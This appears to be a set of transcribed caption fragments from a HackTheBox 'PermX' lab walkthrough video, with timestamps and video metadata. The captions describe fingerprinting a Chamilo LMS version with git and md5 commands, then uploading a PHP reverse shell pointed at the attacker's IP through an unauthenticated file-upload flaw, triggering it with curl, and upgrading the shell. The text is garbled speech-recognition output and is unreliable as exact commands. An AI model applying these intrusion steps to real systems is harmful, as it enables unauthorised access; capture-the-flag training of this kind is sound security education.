want to run is going to be a get show command so if we do get show and then a commit uh we have to also go in the get repel we see the details of that it has some metadata around it like the commit the author and um the plus plus and minus but if we do Aon and then just the file name we want it's just going to give us ...
554.12
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
Json done uh shoot uh we need to md5 sum there we go so now we've just md5 Su to every file the issue we have right now is we're not showing the commit we're just showing the md5 so I'll do a eo-n we'll do commit space there we go so let's go up one directory we save the composer. Json off the server so let's just md5 ...
616.839
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
composed at Json is 373 times in the master Branch but if we add that D- all it's now 514 because it existed in other branches so going here we have the commit here so if I just do a get show on this commit we can see August 1st 2023 is when this file was introduced so that's going to be around the time of the um softw...
700.639
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
one and there's one more place we put the file name right here and it really likes this to be a separate line so now we have a get hunt command so if I do get hunt I already forgot what the hash was md5 Sum composer so we can say get hunt composer. Json paste this we don't have to type that command and if we wanted to ...
768.839
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
hash so run it and now we have that saved into our bash RC file so if we have to hunt for a file we could do that quickly so hopefully you enjoyed that um I know enjoy making these small optimizations and this makes hunting for versions much much quicker so now let's just Google and do the easy way uh Camilo exploits s...
855.279
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
works so let's see we have a PHP reverse shell so with open the file name it's going to um create a files dictionary the arguments big upload file this be the contents of the file and it's uploading to Big upload PHP action post unsupported so it looks like it's that simple we just specify upload so let's go ahead and ...
940.88
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
PHP we can edit this because we want to put our IP address there it is we'll do 10 10 148 I have three T 90001 there we go and I'm going to rename this to just be rev. PHP so it's easier to type and then that's going to be the place we want to upload to so we'll do a curl um let see is there file I know there's an argu...
985.72
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
it correctly okay and then we want to execute it so it goes into this directory files and then the file name so let's do curl HTTP LMS px. htb files we called it rev.
1,075.48
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
PHP nvmp 901 we have to close out our single quote and we get a shell so it is that simple so let's upgrade a shell so do python 3- C import PTY PT y spawn b bash there we go stty raw minus Echo foreground and we can export term is equal to X term which allows to do things like clear the screen so let's see we're dubdu...
1,097.4
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }